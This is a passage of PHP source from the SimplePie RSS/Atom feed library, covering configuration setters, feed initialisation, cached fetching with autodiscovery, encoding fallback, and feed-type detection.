     *
     * @return bool True on success, false otherwise
     */
    public function set_source_class(string $class = Source::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Source::class, $class, true);
    }

    /**
     * Set the user agent string
     *
     * @param string $ua New user agent string.
     * @return void
     */
    public function set_useragent(?string $ua = null)
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure user agent string in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        if ($ua === null) {
            $ua = Misc::get_default_useragent();
        }

        $this->useragent = (string) $ua;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the useragent in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Set a namefilter to modify the cache filename with
     *
     * @param NameFilter $filter
     *
     * @return void
     */
    public function set_cache_namefilter(NameFilter $filter): void
    {
        $this->cache_namefilter = $filter;
    }

    /**
     * Set callback function to create cache filename with
     *
     * @deprecated since SimplePie 1.8.0, use {@see set_cache_namefilter()} instead
     *
     * @param (string&(callable(string): string))|null $function Callback function
     * @return void
     */
    public function set_cache_name_function(?string $function = null)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache_namefilter()" instead.', __METHOD__), \E_USER_DEPRECATED);

        if ($function === null) {
            $function = 'md5';
        }

        $this->cache_name_function = $function;

        $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));
    }

    /**
     * Set options to make SP as fast as possible
     *
     * Forgoes a substantial amount of data sanitization in favor of speed. This
     * turns SimplePie into a dumb parser of feeds.
     *
     * @param bool $set Whether to set them or not
     * @return void
     */
    public function set_stupidly_fast(bool $set = false)
    {
        if ($set) {
            $this->enable_order_by_date(false);
            $this->remove_div(false);
            $this->strip_comments(false);
            $this->strip_htmltags([]);
            $this->strip_attributes([]);
            $this->add_attributes([]);
            $this->set_image_handler(false);
            $this->set_https_domains([]);
        }
    }

    /**
     * Set maximum number of feeds to check with autodiscovery
     *
     * @param int $max Maximum number of feeds to check
     * @return void
     */
    public function set_max_checked_feeds(int $max = 10)
    {
        $this->max_checked_feeds = $max;
    }

    /**
     * @return void
     */
    public function remove_div(bool $enable = true)
    {
        $this->sanitize->remove_div($enable);
    }

    /**
     * @param string[]|string|false $tags Set a list of tags to strip, or set empty string to use default tags, or false to strip nothing.
     * @return void
     */
    public function strip_htmltags($tags = '', ?bool $encode = null)
    {
        if ($tags === '') {
            $tags = $this->strip_htmltags;
        }
        $this->sanitize->strip_htmltags($tags);
        if ($encode !== null) {
            $this->sanitize->encode_instead_of_strip($encode);
        }
    }

    /**
     * @return void
     */
    public function encode_instead_of_strip(bool $enable = true)
    {
        $this->sanitize->encode_instead_of_strip($enable);
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function rename_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->rename_attributes;
        }
        $this->sanitize->rename_attributes($attribs);
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function strip_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->strip_attributes;
        }
        $this->sanitize->strip_attributes($attribs);
    }

    /**
     * @param array<string, array<string, string>>|'' $attribs
     * @return void
     */
    public function add_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->add_attributes;
        }
        $this->sanitize->add_attributes($attribs);
    }

    /**
     * Set the output encoding
     *
     * Allows you to override SimplePie's output to match that of your webpage.
     * This is useful for times when your webpages are not being served as
     * UTF-8. This setting will be obeyed by {@see handle_content_type()}, and
     * is similar to {@see set_input_encoding()}.
     *
     * It should be noted, however, that not all character encodings can support
     * all characters. If your page is being served as ISO-8859-1 and you try
     * to display a Japanese feed, you'll likely see garbled characters.
     * Because of this, it is highly recommended to ensure that your webpages
     * are served as UTF-8.
     *
     * The number of supported character encodings depends on whether your web
     * host supports {@link http://php.net/mbstring mbstring},
     * {@link http://php.net/iconv iconv}, or both. See
     * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
     * more information.
     *
     * @param string $encoding
     * @return void
     */
    public function set_output_encoding(string $encoding = 'UTF-8')
    {
        $this->sanitize->set_output_encoding($encoding);
    }

    /**
     * @return void
     */
    public function strip_comments(bool $strip = false)
    {
        $this->sanitize->strip_comments($strip);
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
     * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
     * |q|@cite
     *
     * @since 1.0
     * @param array<string, string|string[]>|null $element_attribute Element/attribute key/value pairs, null for default
     * @return void
     */
    public function set_url_replacements(?array $element_attribute = null)
    {
        $this->sanitize->set_url_replacements($element_attribute);
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see Sanitize::set_https_domains()
     * @param array<string> $domains List of HTTPS domains. Example array('biz', 'example.com', 'example.org', 'www.example.net').
     * @return void
     */
    public function set_https_domains(array $domains = [])
    {
        $this->sanitize->set_https_domains($domains);
    }

    /**
     * Set the handler to enable the display of cached images.
     *
     * @param string|false $page Web-accessible path to the handler_image.php file.
     * @param string $qs The query string that the value should be passed to.
     * @return void
     */
    public function set_image_handler($page = false, string $qs = 'i')
    {
        if ($page !== false) {
            $this->sanitize->set_image_handler($page . '?' . $qs . '=');
        } else {
            $this->image_handler = '';
        }
    }

    /**
     * Set the limit for items returned per-feed with multifeeds
     *
     * @param int $limit The maximum number of items to return.
     * @return void
     */
    public function set_item_limit(int $limit = 0)
    {
        $this->item_limit = $limit;
    }

    /**
     * Enable throwing exceptions
     *
     * @param bool $enable Should we throw exceptions, or use the old-style error property?
     * @return void
     */
    public function enable_exceptions(bool $enable = true)
    {
        $this->enable_exceptions = $enable;
    }

    /**
     * Initialize the feed object
     *
     * This is what makes everything happen. Period. This is where all of the
     * configuration options get processed, feeds are fetched, cached, and
     * parsed, and all of that other good stuff.
     *
     * @return bool True if successful, false otherwise
     */
    public function init()
    {
        // Check absolute bare minimum requirements.
        if (!extension_loaded('xml') || !extension_loaded('pcre')) {
            $this->error = 'XML or PCRE extensions not loaded!';
            return false;
        }
        // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
        elseif (!extension_loaded('xmlreader')) {
            static $xml_is_sane = null;
            if ($xml_is_sane === null) {
                $parser_check = xml_parser_create();
                xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
                if (\PHP_VERSION_ID < 80000) {
                    xml_parser_free($parser_check);
                }
                $xml_is_sane = isset($values[0]['value']);
            }
            if (!$xml_is_sane) {
                return false;
            }
        }

        // The default sanitize class gets set in the constructor, check if it has
        // changed.
        if ($this->registry->get_class(Sanitize::class) !== Sanitize::class) {
            $this->sanitize = $this->registry->create(Sanitize::class);
        }
        if (method_exists($this->sanitize, 'set_registry')) {
            $this->sanitize->set_registry($this->registry);
        }

        // Pass whatever was set with config options over to the sanitizer.
        // Pass the classes in for legacy support; new classes should use the registry instead
        $cache = $this->registry->get_class(Cache::class);
        \assert($cache !== null, 'Cache must be defined');
        $this->sanitize->pass_cache_data(
            $this->enable_cache,
            $this->cache_location,
            $this->cache_namefilter,
            $cache,
            $this->cache
        );

        $http_client = $this->get_http_client();

        if ($http_client instanceof Psr18Client) {
            $this->sanitize->set_http_client(
                $http_client->getHttpClient(),
                $http_client->getRequestFactory(),
                $http_client->getUriFactory()
            );
        }

        if (!empty($this->multifeed_url)) {
            $i = 0;
            $success = 0;
            $this->multifeed_objects = [];
            $this->error = [];
            foreach ($this->multifeed_url as $url) {
                $this->multifeed_objects[$i] = clone $this;
                $this->multifeed_objects[$i]->set_feed_url($url);
                $single_success = $this->multifeed_objects[$i]->init();
                $success |= $single_success;
                if (!$single_success) {
                    $this->error[$i] = $this->multifeed_objects[$i]->error();
                }
                $i++;
            }
            return (bool) $success;
        } elseif ($this->feed_url === null && $this->raw_data === null) {
            return false;
        }

        $this->error = null;
        $this->data = [];
        $this->check_modified = false;
        $this->multifeed_objects = [];
        $cache = false;

        if ($this->feed_url !== null) {
            $parsed_feed_url = $this->registry->call(Misc::class, 'parse_url', [$this->feed_url]);

            // Decide whether to enable caching
            if ($this->enable_cache && $parsed_feed_url['scheme'] !== '') {
                $cache = $this->get_cache($this->feed_url);
            }

            // Fetch the data into $this->raw_data
            if (($fetched = $this->fetch_data($cache)) === true) {
                return true;
            } elseif ($fetched === false) {
                return false;
            }

            [$headers, $sniffed] = $fetched;
        }

        // Empty response check
        if (empty($this->raw_data)) {
            $this->error = "A feed could not be found at `$this->feed_url`. Empty body.";
            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
            return false;
        }

        // Set up array of possible encodings
        $encodings = [];

        // First check to see if input has been overridden.
        if ($this->input_encoding !== false) {
            $encodings[] = strtoupper($this->input_encoding);
        }

        $application_types = ['application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'];
        $text_types = ['text/xml', 'text/xml-external-parsed-entity'];

        // RFC 3023 (only applies to sniffed content)
        if (isset($sniffed)) {
            if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
                $encodings[] = 'UTF-8';
            } elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings[] = 'US-ASCII';
            }
            // Text MIME-type default
            elseif (substr($sniffed, 0, 5) === 'text/') {
                $encodings[] = 'UTF-8';
            }
        }

        // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
        $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
        $encodings[] = 'UTF-8';
        $encodings[] = 'ISO-8859-1';

        // There's no point in trying an encoding twice
        $encodings = array_unique($encodings);

        // Loop through each possible encoding, till we return something, or run out of possibilities
        foreach ($encodings as $encoding) {
            // Change the encoding to UTF-8 (as we always use UTF-8 internally)
            if ($utf8_data = $this->registry->call(Misc::class, 'change_encoding', [$this->raw_data, $encoding, 'UTF-8'])) {
                // Create new parser
                $parser = $this->registry->create(Parser::class);

                // If it's parsed fine
                if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url ?? '')) {
                    $this->data = $parser->get_data();
                    if (!($this->get_type() & ~self::TYPE_NONE)) {
                        $this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed.";
                        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                        return false;
                    }

                    if (isset($headers)) {
                        $this->data['headers'] = $headers;
                    }
                    $this->data['build'] = Misc::get_build();

                    // Cache the file if caching is enabled
                    $this->data['cache_expiration_time'] = $this->cache_duration + time();

                    if ($cache && !$cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                    return true;
                }
            }
        }

        if (isset($parser)) {
            // We have an error, just set Misc::error to it and quit
            $this->error = $this->feed_url;
            $this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
        } else {
            $this->error = 'The data could not be converted to UTF-8.';
            if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) {
                $this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.';
            } else {
                $missingExtensions = [];
                if (!extension_loaded('iconv')) {
                    $missingExtensions[] = 'iconv';
                }
                if (!extension_loaded('mbstring')) {
                    $missingExtensions[] = 'mbstring';
                }
                if (!class_exists('\UConverter')) {
                    $missingExtensions[] = 'intl (PHP 5.5+)';
                }
                $this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.';
            }
        }

        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);

        return false;
    }

    /**
     * Fetch the data
     *
     * If the data is already cached, attempt to fetch it from there instead
     *
     * @param Base|DataCache|false $cache Cache handler, or false to not load from the cache
     * @return array{array<string, string>, string}|bool Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
     */
    protected function fetch_data(&$cache)
    {
        if ($cache instanceof Base) {
            // @trigger_error(sprintf('Providing $cache as "\SimplePie\Cache\Base" in %s() is deprecated since SimplePie 1.8.0, please provide "\SimplePie\Cache\DataCache" implementation instead.', __METHOD__), \E_USER_DEPRECATED);
            $cache = new BaseDataCache($cache);
        }

        // @phpstan-ignore-next-line Enforce PHPDoc type.
        if ($cache !== false && !$cache instanceof DataCache) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($cache) must be of type %s|false',
                __METHOD__,
                DataCache::class
            ), 1);
        }

        $cacheKey = $this->get_cache_filename($this->feed_url);

        // If it's enabled, use the cache
        if ($cache) {
            // Load the Cache
            $this->data = $cache->get_data($cacheKey, []);

            if (!empty($this->data)) {
                // If the cache is for an outdated build of SimplePie
                if (!isset($this->data['build']) || $this->data['build'] !== Misc::get_build()) {
                    $cache->delete_data($cacheKey);
                    $this->data = [];
                }
                // If we've hit a collision just rerun it with caching disabled
                elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) {
                    $cache = false;
                    $this->data = [];
                }
                // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
                elseif (isset($this->data['feed_url'])) {
                    // Do not need to do feed autodiscovery yet.
                    if ($this->data['feed_url'] !== $this->data['url']) {
                        $this->set_feed_url($this->data['feed_url']);
                        $this->data['url'] = $this->data['feed_url'];

                        $cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->autodiscovery_cache_duration);

                        return $this->init();
                    }

                    $cache->delete_data($this->get_cache_filename($this->feed_url));
                    $this->data = [];
                }
                // Check if the cache has been updated
                elseif (!isset($this->data['cache_expiration_time']) || $this->data['cache_expiration_time'] < time()) {
                    // Want to know if we tried to send last-modified and/or etag headers
                    // when requesting this file. (Note that it's up to the file to
                    // support this, but we don't always send the headers either.)
                    $this->check_modified = true;
                    if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) {
                        $headers = [
                            'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                        ];
                        if (isset($this->data['headers']['last-modified'])) {
                            $headers['if-modified-since'] = $this->data['headers']['last-modified'];
                        }
                        if (isset($this->data['headers']['etag'])) {
                            $headers['if-none-match'] = $this->data['headers']['etag'];
                        }

                        try {
                            $file = $this->get_http_client()->request(Client::METHOD_GET, $this->feed_url, $headers);
                            $this->status_code = $file->get_status_code();
                        } catch (ClientException $th) {
                            $this->check_modified = false;
                            $this->status_code = 0;

                            if ($this->force_cache_fallback) {
                                $this->data['cache_expiration_time'] = $this->cache_duration + time();
                                $cache->set_data($cacheKey, $this->data, $this->cache_duration);

                                return true;
                            }

                            $failedFileReason = $th->getMessage();
                        }

                        if ($this->status_code === 304) {
                            // Set raw_data to false here too, to signify that the cache
                            // is still valid.
                            $this->raw_data = false;
                            $this->data['cache_expiration_time'] = $this->cache_duration + time();
                            $cache->set_data($cacheKey, $this->data, $this->cache_duration);

                            return true;
                        }
                    }
                }
                // If the cache is still valid, just return true
                else {
                    $this->raw_data = false;
                    return true;
                }
            }
            // If the cache is empty
            else {
                $this->data = [];
            }
        }

        // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
        if (!isset($file)) {
            if ($this->file instanceof File && $this->file->get_final_requested_uri() === $this->feed_url) {
                $file = &$this->file;
            } elseif (isset($failedFileReason)) {
                // Do not try to fetch again if we already failed once.
                // If the file connection had an error, set SimplePie::error to that and quit
                $this->error = $failedFileReason;

                return !empty($this->data);
            } else {
                $headers = [
                    'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                ];
                try {
                    $file = $this->get_http_client()->request(Client::METHOD_GET, $this->feed_url, $headers);
                } catch (ClientException $th) {
                    // If the file connection has an error, set SimplePie::error to that and quit
                    $this->error = $th->getMessage();

                    return !empty($this->data);
                }
            }
        }
        $this->status_code = $file->get_status_code();

        // If the file connection has an error, set SimplePie::error to that and quit
        if (!(!Misc::is_remote_uri($file->get_final_requested_uri()) || ($file->get_status_code() === 200 || $file->get_status_code() > 206 && $file->get_status_code() < 300))) {
            $this->error = 'Retrieved unsupported status code "' . $this->status_code . '"';
            return !empty($this->data);
        }

        if (!$this->force_feed) {
            // Check if the supplied URL is a feed, if it isn't, look for it.
            $locate = $this->registry->create(Locator::class, [
                (!$file instanceof File) ? File::fromResponse($file) : $file,
                $this->timeout,
                $this->useragent,
                $this->max_checked_feeds,
                $this->force_fsockopen,
                $this->curl_options
            ]);

            $http_client = $this->get_http_client();

            if ($http_client instanceof Psr18Client) {
                $locate->set_http_client(
                    $http_client->getHttpClient(),
                    $http_client->getRequestFactory(),
                    $http_client->getUriFactory()
                );
            }

            if (!$locate->is_feed($file)) {
                $copyStatusCode = $file->get_status_code();
                $copyContentType = $file->get_header_line('content-type');
                try {
                    $microformats = false;
                    if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
                        $doc = new \DOMDocument();
                        @$doc->loadHTML($file->get_body_content());
                        $xpath = new \DOMXpath($doc);
                        // Check for both h-feed and h-entry, as both a feed with no entries
                        // and a list of entries without an h-feed wrapper are both valid.
                        $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                            'contains(concat(" ", @class, " "), " h-entry ")]';

                        /** @var \DOMNodeList<\DOMElement> $result */
                        $result = $xpath->query($query);
                        $microformats = $result->length !== 0;
                    }
                    // Now also do feed discovery, but if microformats were found don't
                    // overwrite the current value of file.
                    $discovered = $locate->find(
                        $this->autodiscovery,
                        $this->all_discovered_feeds
                    );
                    if ($microformats) {
                        $hub = $locate->get_rel_link('hub');
                        $self = $locate->get_rel_link('self');
                        if ($hub || $self) {
                            $file = $this->store_links($file, $hub, $self);
                        }
                        // Push the current file onto all_discovered feeds so the user can
                        // be shown this as one of the options.
                        if ($this->all_discovered_feeds !== null) {
                            $this->all_discovered_feeds[] = $file;
                        }
                    } else {
                        if ($discovered) {
                            $file = $discovered;
                        } else {
                            // We need to unset this so that if SimplePie::set_file() has
                            // been called that object is untouched
                            unset($file);
                            $this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`";
                            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                            return false;
                        }
                    }
                } catch (SimplePieException $e) {
                    // We need to unset this so that if SimplePie::set_file() has been called that object is untouched
                    unset($file);
                    // This is usually because DOMDocument doesn't exist
                    $this->error = $e->getMessage();
                    $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()]);
                    return false;
                }

                if ($cache) {
                    $this->data = [
                        'url' => $this->feed_url,
                        'feed_url' => $file->get_final_requested_uri(),
                        'build' => Misc::get_build(),
                        'cache_expiration_time' => $this->cache_duration + time(),
                    ];

                    if (!$cache->set_data($cacheKey, $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                }
            }
            $this->feed_url = $file->get_final_requested_uri();
            $locate = null;
        }

        $this->raw_data = $file->get_body_content();
        $this->permanent_url = $file->get_permanent_uri();

        $headers = [];
        foreach ($file->get_headers() as $key => $values) {
            $headers[$key] = implode(', ', $values);
        }

        $sniffer = $this->registry->create(Sniffer::class, [&$file]);
        $sniffed = $sniffer->get_type();

        return [$headers, $sniffed];
    }

    /**
     * Get the error message for the occurred error
     *
     * @return string|string[]|null Error message, or array of messages for multifeeds
     */
    public function error()
    {
        return $this->error;
    }

    /**
     * Get the last HTTP status code
     *
     * @return int Status code
     */
    public function status_code()
    {
        return $this->status_code;
    }

    /**
     * Get the raw XML
     *
     * This is the same as the old `$feed->enable_xml_dump(true)`, but returns
     * the data instead of printing it.
     *
     * @return string|false Raw XML data, false if the cache is used
     */
    public function get_raw_data()
    {
        return $this->raw_data;
    }

    /**
     * Get the character encoding used for output
     *
     * @since Preview Release
     * @return string
     */
    public function get_encoding()
    {
        return $this->sanitize->output_encoding;
    }

    /**
     * Send the content-type header with correct encoding
     *
     * This method ensures that the SimplePie-enabled page is being served with
     * the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
     * and character encoding HTTP headers (character encoding determined by the
     * {@see set_output_encoding} config option).
     *
     * This won't work properly if any content or whitespace has already been
     * sent to the browser, because it relies on PHP's
     * {@link http://php.net/header header()} function, and these are the
     * circumstances under which the function works.
     *
     * Because it's setting these settings for the entire page (as is the nature
     * of HTTP headers), this should only be used once per page (again, at the
     * top).
     *
     * @param string $mime MIME type to serve the page as
     * @return void
     */
    public function handle_content_type(string $mime = 'text/html')
    {
        if (!headers_sent()) {
            $header = "Content-type: $mime;";
            if ($this->get_encoding()) {
                $header .= ' charset=' . $this->get_encoding();
            } else {
                $header .= ' charset=UTF-8';
            }
            header($header);
        }
    }

    /**
     * Get the type of the feed
     *
     * This returns a self::TYPE_* constant, which can be tested against
     * using {@link http://php.net/language.operators.bitwise bitwise operators}
     *
     * @since 0.8 (usage changed to using constants in 1.0)
     * @see self::TYPE_NONE Unknown.
     * @see self::TYPE_RSS_090 RSS 0.90.
     * @see self::TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
     * @see self::TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
     * @see self::TYPE_RSS_091 RSS 0.91.
     * @see self::TYPE_RSS_092 RSS 0.92.
     * @see self::TYPE_RSS_093 RSS 0.93.
     * @see self::TYPE_RSS_094 RSS 0.94.
     * @see self::TYPE_RSS_10 RSS 1.0.
     * @see self::TYPE_RSS_20 RSS 2.0.x.
     * @see self::TYPE_RSS_RDF RDF-based RSS.
     * @see self::TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
     * @see self::TYPE_RSS_ALL Any version of RSS.
     * @see self::TYPE_ATOM_03 Atom 0.3.
     * @see self::TYPE_ATOM_10 Atom 1.0.
     * @see self::TYPE_ATOM_ALL Any version of Atom.
     * @see self::TYPE_ALL Any known/supported feed type.
     * @return int-mask-of<self::TYPE_*> constant
     */
    public function get_type()
    {
        if (!isset($this->data['type'])) {
            $this->data['type'] = self::TYPE_ALL;
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_10;
            } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_03;
            } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'])) {
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_10;
                }
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_090;
                }
            } elseif (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'])) {
                $this->data['type'] &= self::TYPE_RSS_ALL;
                if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                    switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                        case '0.91':
                            $this->data['type'] &= self::TYPE_RSS_091;
                            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                    case '0':
                                        $this->data['type'] &= self::TYPE_RSS_091_NETSCAPE;
                                        break;

                                    case '24':
                                        $this->data['type'] &= self::TYPE_RSS_091_USERLAND;
                                        break;
                                }
                            }
                            break;

                        case '0.92':
                            $this->data['type'] &= self::TYPE_RSS_092;
                            break;

                        case '0.93':
                            $this->data['type'] &= self::TYPE_RSS_093;
                            break;

                        case '0.94':
                            $this->data['type'] &= self::TYPE_RSS_094;
                            break;

                        case '2.0':
                            $this->data['type'] &= self::TYPE_RSS_20;
                            break;
                    }
                }
            } else {
                $this->data['type'] = self::TYPE_NONE;
            }
        }
        return $this->data['type'];
    }

    /**
     * Get the URL for the feed
     *
     * When the 'permanent' mode is enabled, returns the original feed URL,
     * except in the case of an `HTTP 301 Moved Permanently` status response,
     * in which case the location of the first redirection is returned.
     *
     * When the 'permanent' mode is disabled (default),
     * may or may not be different from the URL passed to {@see set_feed_url()},
     * depending on whether auto-discovery was used, and whether there were
     * any redirects along the way.
     *
     * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
     * @todo Support <itunes:new-feed-url>
     * @todo Also, |atom:link|@rel=self
     * @param bool $permanent Permanent mode to return only the original URL or the first redirection
     * iff it is a 301 redirection
     * @return string|null
     */
    public function subscribe_url(bool $permanent = false)
    {
        if ($permanent) {
            if ($this->permanent_url !== null) {
                // sanitize encodes ampersands which are required when used in a url.
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->permanent_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        } else {
            if ($this->feed_url !== null) {
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->feed_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        }
        return null;
    }

    /**
     * Get data for an feed-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the opening feed tag.
     *
     * The return value is an indexed array of elements matching the given
     * namespace and tag name. Each element has `attribs`, `data` and `child`
     * subkeys. For `attribs` and `child`, these contain namespace subkeys.
     * `attribs` then has one level of associative name => value data (where
     * `value` is a string) after the namespace. `child` has tag-indexed keys
     * after the namespace, each member of which is an indexed array matching
     * this same format.
     *
     * For example:
     * <pre>
     * // This is probably a bad example because we already support
     * // <media:content> natively, but it shows you how to parse through
     * // the nodes.
     * $group = $item->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group');
     * $content = $group[0]['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'];
     * $file = $content[0]['attribs']['']['url'];
     * echo $file;
     * </pre>
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_feed_tags(string $namespace, string $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_10) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_ATOM_03) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_RDF) {
            if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * channel/header section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
